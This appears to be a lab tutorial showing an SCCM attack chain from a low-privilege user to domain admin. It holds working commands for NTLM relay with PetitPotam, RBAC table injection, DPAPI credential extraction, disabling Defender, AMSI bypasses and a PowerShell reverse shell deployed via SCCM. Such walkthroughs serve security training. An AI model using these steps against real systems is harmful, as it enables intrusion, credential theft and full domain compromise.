在前兩天的文章中,我們完成了 SCCM 環境的情資蒐集和 PXE Boot 攻擊。今天,我們將完整展示從低權限域用戶一路提升到域管理員的攻擊鏈。這個攻擊鏈展示了 SCCM 環境中多個安全機制的串連利用,包括:
這個攻擊鏈不僅展示了 SCCM 環境的攻擊面,也說明了為什麼 SCCM 是企業環境中的「皇冠上的寶石」——一旦被攻陷,攻擊者可以快速橫向移動並最終控制整個網域。
重要提醒:本文內容僅供教育和研究目的,所有操作應在合法授權的測試環境中進行。
攻擊鏈路線圖:
起點:低權限域用戶 (carol)
↓
第一階段:NTLM Relay 到 MSSQL
→ 利用 MECM$ 機器帳戶的資料庫管理員權限
→ 修改 RBAC 資料表
→ 提升為 SCCM Full Administrator
↓
第二階段:本地管理員憑證收集
→ 使用 Day29 取得的本地管理員密碼
→ 從客戶端機器提取 NAA 憑證
→ 驗證並確認多種憑證收集方法
↓
第三階段:SCCM 管理權限濫用
→ 使用 CMPivot 列舉環境
→ 部署惡意腳本到目標機器
→ 取得 MECM 伺服器的 Shell
↓
第四階段:資料庫憑證解密
→ 從 MSSQL 提取加密憑證
→ 解密資料庫中的服務帳戶密碼
→ 發現域管理員帳戶 (sccm-account-da)
↓
終點:完全控制域環境
在開始攻擊前,確認我們已經從前面的步驟中取得以下資訊:
從 Day29 PXE 攻擊取得的憑證:
網路存取帳戶 (NAA):
- 使用者:sccm.lab\sccm-naa
- 密碼:123456789
本地管理員密碼:
- 使用者:administrator
- 密碼:EP+xh7Rk6j90
網域加入帳戶:
- 使用者:sccm.lab\sccm-naa
- 密碼:123456789
已知的低權限域用戶:
使用者:sccm.lab\carol
密碼:SCCMftw
權限:標準域用戶,無特殊權限
確認以下工具已安裝:
Python 工具:
# CrackMapExec/NetExec
pip install netexec
編譯工具(Windows):
# SharpSCCM - 在 Windows 上編譯
git clone https://github.com/Mayyhem/SharpSCCM.git
# 使用 Visual Studio 編譯或下載 Release 版本
Coercion 工具:
# PetitPotam
git clone https://github.com/topotam/PetitPotam.git
# 驗證可以連接到所有目標
ping -c 1 192.168.52.10 # DC
ping -c 1 192.168.52.11 # MECM
ping -c 1 192.168.52.12 # MSSQL
ping -c 1 192.168.52.13 # CLIENT
# 驗證 carol 憑證有效
nxc smb 192.168.52.11 -u carol -p SCCMftw -d sccm.lab
為什麼這個攻擊有效:
在標準的 SCCM 部署中,存在一個關鍵的架構設計:
MECM 主要伺服器的機器帳戶 (MECM$)
↓
必須是 MSSQL Server 的 sysadmin
↓
才能管理 SCCM 站點資料庫
這個設計帶來的安全問題:
攻擊流程圖:
攻擊者 (192.168.52.1)
│
├─► 步驟 1:設定 NTLM Relay
│ └─► ntlmrelayx 監聽並準備 SQL 查詢
│
├─► 步驟 2:觸發 MECM 認證
│ └─► PetitPotam 強制 MECM 連線到攻擊者
│
├─► 步驟 3:中繼認證
│ └─► MECM$ 認證 → 中繼到 MSSQL
│
└─► 步驟 4:修改資料庫
└─► 執行 SQL 將 carol 加入 RBAC_Admins
步驟 1:生成 SQL 查詢
SCCMHunter 提供了自動化功能來生成所需的 SQL 查詢:
# 使用 carol 的憑證生成攻擊查詢
python3 sccmhunter.py mssql \
-u carol \
-p SCCMftw \
-d sccm.lab \
-dc-ip 192.168.52.10 \
-tu carol \
-sc P01 \
-stacked \
-debug
參數說明:
mssql
:選擇 MSSQL 攻擊模組-u carol -p SCCMftw
:低權限域用戶憑證-d sccm.lab -dc-ip 192.168.52.10
:域資訊-tu carol
:目標用戶(要提升權限的用戶)-sc P01
:站點代碼(Day28 偵察取得)-stacked
:使用堆疊查詢-debug
:顯示詳細輸出預期輸出:
DECLARE @AdminID INT; USE CM_P01; INSERT INTO RBAC_Admins (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) SELECT 0x01050000000000051500000017F8BB9F5CE16E4E94D69F0D5A040000, 'SCCMLAB\carol', 0, 0, '', '', '', '', 'P01' WHERE NOT EXISTS ( SELECT 1 FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol' ); SET @AdminID = (SELECT TOP 1 AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'); INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID) SELECT @AdminID, RoleID, ScopeID, ScopeTypeID FROM (VALUES ('SMS0001R', 'SMS00ALL', 29), ('SMS0001R', 'SMS00001', 1), ('SMS0001R', 'SMS00004', 1) ) AS V(RoleID, ScopeID, ScopeTypeID) WHERE NOT EXISTS ( SELECT 1 FROM RBAC_ExtendedPermissions WHERE AdminID = @AdminID AND RoleID = V.RoleID AND ScopeID = V.ScopeID AND ScopeTypeID = V.ScopeTypeID );
複製這個完整的 SQL 查詢,我們將在下一步使用。
步驟 2:設定 NTLM Relay
開啟第一個終端,設定 ntlmrelayx:
# 將剛才生成的完整 SQL 查詢貼上
ntlmrelayx.py \
-smb2support \
-ts \
-t mssql://192.168.52.12 \
-q "DECLARE @AdminID INT; USE CM_P01; INSERT INTO RBAC_Admins (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) SELECT 0x01050000000000051500000017F8BB9F5CE16E4E94D69F0D5A040000, 'SCCMLAB\carol', 0, 0, '', '', '', '', 'P01' WHERE NOT EXISTS ( SELECT 1 FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol' ); SET @AdminID = (SELECT TOP 1 AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'); INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID) SELECT @AdminID, RoleID, ScopeID, ScopeTypeID FROM (VALUES ('SMS0001R', 'SMS00ALL', 29), ('SMS0001R', 'SMS00001', 1), ('SMS0001R', 'SMS00004', 1) ) AS V(RoleID, ScopeID, ScopeTypeID) WHERE NOT EXISTS ( SELECT 1 FROM RBAC_ExtendedPermissions WHERE AdminID = @AdminID AND RoleID = V.RoleID AND ScopeID = V.ScopeID AND ScopeTypeID = V.ScopeTypeID );"
參數說明:
-smb2support
:支援 SMBv2/v3-ts
:顯示時間戳記-t mssql://192.168.52.12
:目標 MSSQL 伺服器-q "..."
:成功中繼後要執行的 SQL 查詢預期輸出:
[*] Servers started, waiting for connections
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up LDAP Server
步驟 3:觸發 MECM 認證
開啟第二個終端,使用 PetitPotam 強制 MECM 認證:
# 使用 carol 的憑證觸發 MECM 認證
python3 PetitPotam.py \
-d sccm.lab \
-u carol \
-p SCCMftw \
192.168.52.150 \
192.168.52.11
參數說明:
-d sccm.lab
:域名稱-u carol -p SCCMftw
:有效域憑證192.168.52.150
:攻擊者 IP(監聽器位置)192.168.52.11
:MECM 伺服器 IP(目標)PetitPotam 輸出:
[*] Connecting to 192.168.52.11
[*] Coercing authentication from 192.168.52.11
[*] Successfully triggered authentication
ntlmrelayx 輸出(成功):
[*] SMBD-Thread-1: Connection from SCCM/MECM$@192.168.52.11 controlled, attacking target mssql://192.168.52.12
[*] Authenticating against mssql://192.168.52.12 as SCCM/MECM$ SUCCEED
[*] MSSQL: Executing query: USE CM_P01; INSERT INTO RBAC_Admins...
[*] MSSQL: Query executed successfully
[+] carol added as SCCM Full Administrator!
使用 SCCMHunter 驗證 carol 現在是 SCCM 管理員:
# 連接到 SCCM 管理介面
python3 sccmhunter.py admin \
-u carol@sccm.lab \
-p 'SCCMftw' \
-ip 192.168.52.11
在 SCCMHunter 互動式 Shell 中:
() C:\ >> show_admins
預期輸出:
[09:11:19] INFO Tasked SCCM to list current SMS Admins.
[09:11:20] INFO Current Full Admin Users:
[09:11:20] INFO SCCMLAB\Administrator
[09:11:20] INFO SCCMLAB\carol
[09:11:20] INFO SCCMLAB\SCCM-Admins
成功! carol 現在是 SCCM Full Administrator。
如果想要深入理解攻擊過程,可以手動執行每個步驟:
步驟 1:取得 carol 的 SID
cat > ldap_query.sh << 'EOF'
#!/bin/bash
import base64
import struct
import sys
def decode_sid(base64_sid):
sid_binary = base64.b64decode(base64_sid)
revision = sid_binary[0]
sub_auth_count = sid_binary[1]
authority = struct.unpack('>Q', b'\x00\x00' + sid_binary[2:8])[0]
sid = f"S-{revision}-{authority}"
for i in range(sub_auth_count):
offset = 8 + (i * 4)
sub_auth = struct.unpack('<I', sid_binary[offset:offset+4])[0]
sid += f"-{sub_auth}"
return sid
# 從 stdin 讀取 base64
sid_b64 = sys.stdin.read().strip()
print(decode_sid(sid_b64))
EOF
# 使用方式
ldapsearch -x -H ldap://192.168.52.10 \
-D "carol@SCCM.lab" \
-w "SCCMftw" \
-b "DC=SCCM,DC=lab" \
"(name=carol)" objectSid \
-LLL | grep "objectSid::" | awk '{print $2}' | python3 ldap_query.sh
輸出:
S-1-5-21-2679896087-1315889500-228578964-1114
步驟 2:轉換 SID 為十六進位
SID 格式:S-1-5-21-2679896087-1315889500-228578964-1114
建立 Python 腳本 convert_sid.py
:
#!/usr/bin/python3
import sys
from struct import pack
if len(sys.argv) <= 1:
print('Usage: python3 ' + sys.argv[0] + ' sid\n')
exit(0)
sid = sys.argv[1]
print(f'[+] SID: {sid}')
items = sid.split('-')
revision = pack('B', int(items[1]))
dashNumber = pack('B', len(items) - 3)
identifierAuthority = b'\x00\x00' + pack('>L', int(items[2]))
subAuthority = b''
for i in range(len(items) - 3):
subAuthority += pack('<L', int(items[i+3]))
hex_sid = revision + dashNumber + identifierAuthority + subAuthority
result = '0x' + ''.join('{:02X}'.format(b) for b in hex_sid)
print(f'[+] Result: {result}')
執行轉換:
python3 convert_sid.py S-1-5-21-2679896087-1315889500-228578964-1114
輸出:
[+] SID: S-1-5-21-2679896087-1315889500-228578964-1114
[+] Result: 0x01050000000000051500000017F8BB9F5CE16E4E94D69F0D5A040000
步驟 3:使用 SOCKS 代理執行
設定 ntlmrelayx 使用 SOCKS 模式:
ntlmrelayx.py \
-smb2support \
-ts \
-t mssql://192.168.52.12 \
-socks
觸發認證:
python3 PetitPotam.py \
-d sccm.lab \
-u carol \
-p SCCMftw \
192.168.52.150 \
192.168.52.11
執行完之後,回去看 ntlmrelayx
[2025-10-14 09:27:45] [*] (SMB): Received connection from 192.168.52.11, attacking target mssql://192.168.52.12
[2025-10-14 09:27:45] [*] Encryption required, switching to TLS
[2025-10-14 09:27:45] [*] (SMB): Authenticating connection from SCCMLAB/MECM$@192.168.52.11 against mssql://192.168.52.12 SUCCEED [1]
[2025-10-14 09:27:45] [*] SOCKS: Adding MSSQL://SCCMLAB/MECM$@192.168.52.12(1433) [1] to active SOCKS connection. Enjoy
[2025-10-14 09:27:45] [*] All targets processed!
[2025-10-14 09:27:45] [*] (SMB): Connection from 192.168.52.11 controlled, but there are no more targets left!
透過 SOCKS 代理連接資料庫:
預設 SOCKS proxy 端口是 1080
因此要設定
sudo vim /etc/proxychains4.conf
sock4 127.0.0.1 1080
確認是否有成功設定:
tail -20 /etc/proxychains4.conf
proxychains -q mssqlclient.py \
-windows-auth \
-no-pass \
'SCCMLAB/MECM$'@192.168.52.12
手動執行 SQL 查詢:
-- 切換到 SCCM 資料庫
USE CM_P01;
select * from RBAC_Admins;
如果你要手動新增,你可以執行以下指令:
-- 新增 carol 為管理員
INSERT INTO RBAC_Admins
(AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite)
VALUES
(0x01050000000000051500000017f8bb9f5ce16e4e94d69f0d5a040000, 'SCCM\carol', 0, 0, '', '', '', '', 'P01');
-- 查詢 carol 的 AdminID
SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol';
-- 假設回傳的 AdminID 是 16777219
select * from RBAC_ExtendedPermissions;
可以看到剛剛自動化已經新增了
-- 授予完全權限
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES
(16777219, 'SMS0001R', 'SMS00ALL', '29'),
(16777219, 'SMS0001R', 'SMS00001', '1'),
(16777219, 'SMS0001R', 'SMS00004', '1');
-- 驗證
SELECT * FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol';
已完成:
取得的權限:
下一步:
利用 SCCM 管理權限進行更深入的攻擊
在 SCCM 環境中,客戶端機器會將敏感憑證快取在本地,包括:
快取的憑證類型:
儲存位置:
客戶端機器的憑證儲存位置:
1. WMI 命名空間
└─ ROOT\CCM\Policy\Machine\ActualConfig
├─ CCM_NetworkAccessAccount
├─ CCM_TSEnvironment
└─ CCM_CollectionVariable
2. 磁碟檔案系統
└─ C:\Windows\System32\wbem\Repository\
└─ OBJECTS.DATA(WMI CIM 儲存庫)
3. 登錄檔
└─ HKLM\SOFTWARE\Microsoft\SMS\Mobile Client\
└─ Software Distribution
DPAPI 加密說明:
所有這些憑證都使用 Windows DPAPI (Data Protection API) 加密:
C:\Windows\System32\Microsoft\Protect\S-1-5-18\
首先使用 Day29 取得的本地管理員密碼測試存取:
# 測試本地管理員憑證
nxc smb 192.168.52.13 \
-u administrator \
-p 'EP+xh7Rk6j90' \
--local-auth
預期輸出:
SMB 192.168.52.13 445 CLIENT [+] CLIENT\administrator:EP+xh7Rk6j90 (Pwn3d!)
「Pwn3d!」標記表示該帳戶具有管理員權限,可以進行後續操作。
工具說明:
dploot 是一個專門用於提取 DPAPI 保護資料的工具,支援多種資料來源,包括:
執行憑證收集:
# 使用 dploot 的 SCCM 模組
dploot sccm \
-u administrator \
-p 'EP+xh7Rk6j90' \
-t 192.168.52.13
參數說明:
sccm
:使用 SCCM 憑證提取模組-u administrator
:本地管理員帳戶-p 'EP+xh7Rk6j90'
:密碼-t 192.168.52.13
:目標客戶端 IP預期輸出:
[*] Connected to 192.168.52.13
[*] Collecting SCCM secrets from WMI
[+] Found Network Access Account:
Username: SCCM\sccm-naa
Password: 123456789
[*] Collecting SCCM secrets from disk
[+] Found credentials in WMI CIM Repository:
Username: SCCM\sccm-naa
Password: 123456789
[*] Collecting Task Sequence variables
[+] No Task Sequence currently active
進階:使用 WMI 方法
dploot 也支援讀取 WMI CIM 儲存庫檔案(Duane Michael 的技術):
# 使用 WMI CIM 方法
dploot sccm \
-u administrator \
-p 'EP+xh7Rk6j90' \
-t 192.168.52.13 \
-wmi
這個方法會:
OBJECTS.DATA
檔案SCCMHunter 也提供 DPAPI 憑證提取功能:
# 使用 SCCMHunter 的 dpapi 模組
python3 sccmhunter.py dpapi \
-u administrator \
-p 'EP+xh7Rk6j90' \
-target 192.168.52.13 \
-wmi \
-debug
預期輸出:
[10:23:16] DEBUG [*] Establishing SMB connection to 192.168.52.13
[10:23:16] DEBUG [*] Performing NTLM login
[10:23:16] DEBUG [*] Establishing DCOM connection to 192.168.52.13
[10:23:16] INFO [*] Starting SCCM secrets extraction via WMI
[10:23:16] DEBUG [*] Connecting to WMI namespace: root\ccm\Policy\Machine\ActualConfig
[10:23:16] INFO [+] Found NAA credentials
[10:23:16] DEBUG [*] Retrieving masterkey file: 52310566-8B7D-4FC4-937D-57B608EE1396
[10:23:16] DEBUG [*] Attempting to extract bootkey from the target machine
[10:23:16] DEBUG [*] Attempting to dump LSA secrets from the target machine
[10:23:17] DEBUG [*] Decrypted masterkey 52310566-8B7D-4FC4-937D-57B608EE1396:
0x6ba2408ec90096012570193d7b4f8f432ca835732377b24178583ef92c2c70c8b4107c5413f046a2c158c08d8ddee
b0965cb8a183a9b0dee11773512f74d8eb4
[10:23:17] INFO - NetworkAccessUsername: sccm.lab\sccm-naa
[10:23:17] INFO - NetworkAccessPassword: 123456789
[10:23:17] DEBUG [*] Got SCCM secrets from WMI namespace 'root\ccm\Policy\Machine\ActualConfig'
[10:23:17] INFO [*] WMI SCCM secrets dump complete
[10:23:17] DEBUG [*] Closing DCOM connection to 192.168.52.13
[10:23:17] DEBUG [*] Closing SMB connection to 192.168.52.13
在 Windows 環境中的操作流程:
https://github.com/Mayyhem/SharpSCCM/wiki/Build-Instructions
需要進行編譯
步驟 1:連接到客戶端
使用 RDP 連接到 CLIENT:
# 建立共享資料夾(用於傳輸工具)
sudo mkdir /workspace
sudo mkdir /workspace/share
# RDP 連接並掛載共享
xfreerdp3 \
/u:"administrator" \
/p:"EP+xh7Rk6j90" \
/v:"192.168.52.13" \
/cert:ignore \
/drive:share,/workspace/share
步驟 2:停用防護機制
在 RDP 會話中開啟 PowerShell(以管理員身份):
# 停用 Windows Defender 即時保護
Set-MpPreference -DisableRealtimeMonitoring $true
# 確認已停用
Get-MpPreference | Select-Object DisableRealtimeMonitoring
步驟 3:AMSI 繞過
執行多層 AMSI 繞過以避免偵測:
PowerShell AMSI 繞過:
# 第一層:PowerShell AMSI 繞過
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
$z=$y.GetValue($null);
[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
C# AMSI 繞過(rasta-mouse):
# 第二層:C# AMSI 繞過
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
步驟 4:執行 SharpSCCM
從掛載的共享複製 SharpSCCM:
# 複製工具到本地
Copy-Item \\tsclient\share\SharpSCCM_merged.exe C:\Windows\Temp\
# 切換到工作目錄
cd C:\Windows\Temp\
使用 WMI 方法收集憑證:
.\SharpSCCM_merged.exe local secrets -m wmi
預期輸出:
[*] Retrieving secrets from WMI
[*] Querying namespace: ROOT\CCM\Policy\Machine\ActualConfig
[+] Network Access Account:
Username: SCCM\sccm-naa
Password: 123456789
Domain: sccm.lab
[+] Collection Variables: (0)
[+] Task Sequence Variables: (0)
使用磁碟方法收集憑證:
.\SharpSCCM_merged.exe local secrets -m disk
預期輸出:
[*] Retrieving secrets from disk
[*] Parsing WMI CIM Repository: C:\Windows\System32\wbem\Repository\OBJECTS.DATA
[+] Found NAA credentials:
Username: SCCM\sccm-naa
Password: 123456789
[*] Checking for Task Sequence variables
[*] No active Task Sequence found
方法 | 工具 | 平台 | 優點 | 缺點 |
---|---|---|---|---|
WMI 查詢 | dploot, SCCMHunter, SharpSCCM | 遠端 | 快速、無檔案落地 | 需要遠端 WMI 存取 |
磁碟讀取 | dploot, SharpSCCM | 本地/遠端 | 可取得歷史資料 | 需要檔案系統存取 |
記憶體傾印 | Mimikatz, SharpDPAPI | 本地 | 可取得即時變數 | 需要 SYSTEM 權限 |
建議順序:
已完成:
取得的憑證:
Network Access Account (NAA):
- 使用者:sccm.lab\sccm-naa
- 密碼:123456789
- 權限:可存取所有 SCCM 發布點
重要發現:
下一步:
利用 SCCM 管理權限進行環境列舉和腳本部署
作為 SCCM Full Administrator,我們現在可以使用以下強大功能:
管理功能清單:
SCCM Administrator 權限
├─ 設備管理
│ ├─ 列舉所有註冊設備
│ ├─ 查看設備詳細資訊
│ └─ 管理設備設定
│
├─ 使用者管理
│ ├─ 新增/移除管理員
│ ├─ 修改權限設定
│ └─ 查看使用者資訊
│
├─ 遠端管理
│ ├─ CMPivot 即時查詢
│ ├─ 遠端控制(如果啟用)
│ └─ 設備重啟/關機
│
├─ 軟體部署
│ ├─ 應用程式部署
│ ├─ 腳本部署
│ ├─ 套件部署
│ └─ Task Sequence 部署
│
└─ 資料庫存取
├─ 查詢設備資訊
├─ 查詢軟體清單
└─ 提取設定資料
步驟 1:連接到 SCCM 管理介面
# 使用 carol 的管理員權限
python3 sccmhunter.py admin \
-u carol@sccm.lab \
-p 'SCCMftw' \
-ip 192.168.52.11
進入 SCCMHunter 互動式 Shell。
步驟 2:列舉所有 SCCM 管理員
() C:\ >> show_admins
預期輸出:
[10:34:02] INFO Tasked SCCM to list current SMS Admins.
[10:34:02] INFO Current Full Admin Users:
[10:34:02] INFO SCCMLAB\Administrator
[10:34:02] INFO SCCMLAB\carol
[10:34:02] INFO SCCMLAB\SCCM-Admins
發現:
SCCM-Admins
是一個 SCCM Full Admin 群組ldapsearch -x -H ldap://192.168.52.10 \
-D "carol@SCCM.lab" \
-w "SCCMftw" \
-b "CN=Domain Admins,CN=Users,DC=sccm,DC=lab" \
member
關鍵發現:
sccm-account-da
是域管理員群組的成員步驟 3:列舉註冊的設備
() C:\ >> get_device DC
() C:\ >> get_device MECM
() C:\ >> get_device MSSQL
步驟 4:取得特定設備的詳細資訊
# 查看 CLIENT 的詳細資訊
() C:\ >> get_device CLIENT
預期輸出:
() (C:\) >> get_device CLIENT
[10:37:36] INFO ------------------------------------------
Active: 1
Client: 1
DistinguishedName: CN=CLIENT,CN=Computers,DC=sccm,DC=lab
FullDomainName: SCCM.LAB
IPAddresses: 192.168.52.13 192.168.58.142 fe80::6992:ceb9:43...
LastLogonUserDomain: None
LastLogonUserName: None
Name: CLIENT
OperatingSystemNameandVersion: Microsoft Windows NT Advanced Server 10.0
PrimaryGroupID: 515
ResourceId: 16777221
ResourceNames: CLIENT.sccm.lab
SID: S-1-5-21-2679896087-1315889500-228578964-1106
SMSInstalledSites: P01
SMSUniqueIdentifier: GUID:DB2D0106-4A4F-4E55-8B4D-CF6E65869356
------------------------------------------
記錄 ResourceId: 16777221
,後續操作會用到。
CMPivot 介紹:
CMPivot 是 SCCM 的即時查詢功能,可以在不部署代理程式或腳本的情況下,即時從客戶端收集資訊。
支援的內建查詢:
查詢類型 | 說明 | SCCMHunter 指令 |
---|---|---|
administrators | 列出本地管理員 | administrators |
ipconfig | 網路設定 | ipconfig |
osinfo | 作業系統資訊 | osinfo |
ps | 執行中的處理程序 | ps |
services | 服務列表 | services |
sessions | 登入會話 | sessions |
shares | SMB 共享 | shares |
software | 已安裝軟體 | software |
environment | 環境變數 | environment |
disk | 磁碟資訊 | disk |
console_users | 主控台使用者 | console_users |
步驟 1:選擇目標設備
# 互動模式選擇 CLIENT
() C:\ >> interact 16777221
提示符會變更為:
(16777221) C:\ >>
步驟 2:查詢本地管理員
(16777221) C:\ >> administrators
輸出:
關鍵發現:
eve
是域用戶但有本地管理員權限步驟 3:查詢執行中的處理程序
(16777221) C:\ >> ps
預期輸出:
(16777221) (C:\) >> ps
[10:44:34] INFO Tasked SCCM to list processes.
[10:44:34] INFO Got OperationId 16777287. Sleeping 10 seconds to wait for host to call home.
[10:44:44] INFO +---------------------------+-------------+---------------------+------------------+-----------
----+----------+
| Name | ProcessId | CreationDate | WorkingSetSize |
HandleCount | Device |
+===========================+=============+=====================+==================+===========
====+==========+
| System Idle Process | 0 | 2025-10-12 05:23:58 | 8192 |
0 | CLIENT |
+---------------------------+-------------+---------------------+------------------+-----------
----+----------+
| System | 4 | 2025-10-12 05:23:58 | 49152 |
1725 | CLIENT |
+---------------------------+-------------+---------------------+------------------+-----------
----+----------+
| Registry | 88 | 2025-10-12 05:23:55 | 78405632 |
0 | CLIENT |
+---------------------------+-------------+---------------------+------------------+-----------
----+----------+
| smss.exe | 280 | 2025-10-12 05:23:58 | 835584 |
53 | CLIENT |
+---------------------------+-------------+---------------------+------------------+-----------
步驟 4:查詢網路連線
(16777221) C:\ >> ipconfig
步驟 5:查詢已安裝軟體
(16777221) C:\ >> software
輸出會列出所有已安裝的軟體及版本。
步驟 6:查詢 SMB 共享
(16777221) C:\ >> shares
為了保持持久性和靈活性,我們可以新增額外的管理員帳戶。
步驟 1:取得目標用戶的 SID
cat > ~/tools/convert_sid.py << 'EOF'
#!/usr/bin/env python3
import base64
import struct
import sys
def decode_sid(base64_sid):
sid_binary = base64.b64decode(base64_sid)
revision = sid_binary[0]
sub_auth_count = sid_binary[1]
authority = struct.unpack('>Q', b'\x00\x00' + sid_binary[2:8])[0]
sid = f"S-{revision}-{authority}"
for i in range(sub_auth_count):
offset = 8 + (i * 4)
sub_auth = struct.unpack('<I', sid_binary[offset:offset+4])[0]
sid += f"-{sub_auth}"
return sid
if __name__ == '__main__':
if len(sys.argv) > 1:
# 從命令行參數讀取
print(decode_sid(sys.argv[1]))
else:
# 從 stdin 讀取
sid_b64 = sys.stdin.read().strip()
if sid_b64:
print(decode_sid(sid_b64))
else:
print("Usage: python3 convert_sid.py <base64_sid>")
print(" or: echo <base64_sid> | python3 convert_sid.py")
sys.exit(1)
EOF
chmod +x ~/tools/convert_sid.py
# 查詢 franck 的 SID
ldapsearch -x -H ldap://192.168.52.10 \
-D "carol@SCCM.lab" \
-w "SCCMftw" \
-b "DC=sccm,DC=lab" \
"(name=franck)" objectSid \
-LLL | grep "objectSid::" | awk '{print $2}' | python3 ~/tools/convert_sid.py
輸出:
S-1-5-21-2679896087-1315889500-228578964-1117
步驟 2:新增 franck 為管理員
# 在 SCCMHunter Shell 中
() C:\ >> add_admin franck S-1-5-21-2679896087-1315889500-228578964-1117
預期輸出:
[*] Tasked SCCM to add franck as an administrative user
[+] Successfully added franck as an admin
步驟 3:驗證
() C:\ >> show_admins
確認 franck 出現在管理員列表中。
攻擊目標:部署反向 Shell 到 CLIENT 和 MECM
準備工作:
步驟 1:建立 PowerShell 反向 Shell 腳本
建立 revshell.ps1
:
# PowerShell TCP 反向 Shell
$client = New-Object System.Net.Sockets.TCPClient('192.168.52.150',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
儲存為 sudo vim /workspace/revshell.ps1
。
步驟 2:設定監聽器
開啟新終端:
# 使用 netcat 監聽
nc -nlvp 4444
腳本部署的兩種方式:
如果 SCCM 未要求腳本核准,可以直接部署:
# 嘗試直接部署
(16777221) C:\ >> script /workspace/revshell.ps1
預期錯誤:
[!] Script approval required
[!] This SCCM environment requires scripts to be approved before execution
步驟 1:建立核准用電腦帳戶
# 新增電腦帳戶用於核准
addcomputer.py \
-computer-name 'approval$' \
-computer-pass 'approvalaccount' \
'sccm.lab/carol:SCCMftw' \
-dc-ip 192.168.52.10
輸出:
[*] Successfully added machine account approval$ with password approvalaccount.
步驟 2:取得電腦帳戶的 SID
ldapsearch -x -H ldap://192.168.52.10 \
-D "carol@SCCM.lab" \
-w "SCCMftw" \
-b "DC=sccm,DC=lab" \
"(name=*approval*)" objectSid \
-LLL | grep "objectSid::" | awk '{print $2}' | python3 ~/tools/convert_sid.py
輸出:
步驟 3:將電腦帳戶新增為 SCCM 管理員
# 在 SCCMHunter Shell 中
() C:\ >> add_admin approval$ S-1-5-21-2679896087-1315889500-228578964-1124
輸出:
[+] Successfully added approval$ as an admin
步驟 4:使用核准帳戶重新連接
結束目前 SCCMHunter 會話,使用核准帳戶重新連接:
python3 sccmhunter.py admin \
-u carol@sccm.lab \
-p 'SCCMftw' \
-ip 192.168.52.11 \
-au 'approval$' \
-ap 'approvalaccount' \
-debug
參數說明:
-au 'approval$'
:核准用帳戶-ap 'approvalaccount'
:核准用密碼步驟 5:部署腳本到 CLIENT
# 取得 CLIENT 設備
() C:\ >> get_device CLIENT
# 互動模式
() C:\ >> interact 16777221
# 部署反向 Shell
(16777221) C:\ >> script /workspace/revshell.ps1
預期輸出:
[*] Uploading script to SCCM
[*] Creating script deployment
[*] Script approved by approval$
[*] Deploying to ResourceId 16777221 (CLIENT)
[+] Script deployment successful
[*] Waiting for execution...
在監聽器終端:
Connection from 192.168.52.13:xxxxx
Microsoft Windows [Version 10.0.19044.1234]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\CCM\> whoami
nt authority\system
C:\Windows\CCM\> hostname
CLIENT
成功! 我們取得了 CLIENT 的 SYSTEM 權限 Shell。
步驟 6:部署腳本到 MECM
重複相同步驟,這次目標是 MECM:
# 取得 MECM 設備資訊
() C:\ >> get_device MECM
# ResourceId: 16777219
# 互動模式
() C:\ >> interact 16777219
# 部署反向 Shell
(16777219) C:\ >> script /workspace/revshell.ps1
在監聽器終端(開啟新的監聽):
# 新終端
nc -nlvp 5555
修改 revshell.ps1
的端口為 5555 後重新部署。
成功取得 MECM 的 Shell:
Connection from 192.168.52.11:xxxxx
Microsoft Windows [Version 10.0.17763.1234]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\CCM\> whoami
nt authority\system
C:\Windows\CCM\> hostname
MECM
重要提示:
腳本部署會在 SCCM 主控台中留下記錄:
清理步驟:
已完成:
取得的存取權限:
重要發現:
下一步:
從 MECM 伺服器提取資料庫中的加密憑證,最終目標是取得 sccm-account-da
的密碼
最終目標:取得 sccm-account-da
域管理員帳戶的密碼
攻擊路徑:
MECM SYSTEM Shell
↓
建立本地管理員帳戶
↓
提取 MECM$ 機器帳戶雜湊
↓
使用 MECM$ 連接 MSSQL 資料庫
↓
查詢 SC_UserAccount 資料表
↓
提取加密的密碼
↓
使用 MECM 的 DPAPI 金鑰解密
↓
取得明文密碼
↓
驗證域管理員存取
為什麼需要這個步驟:
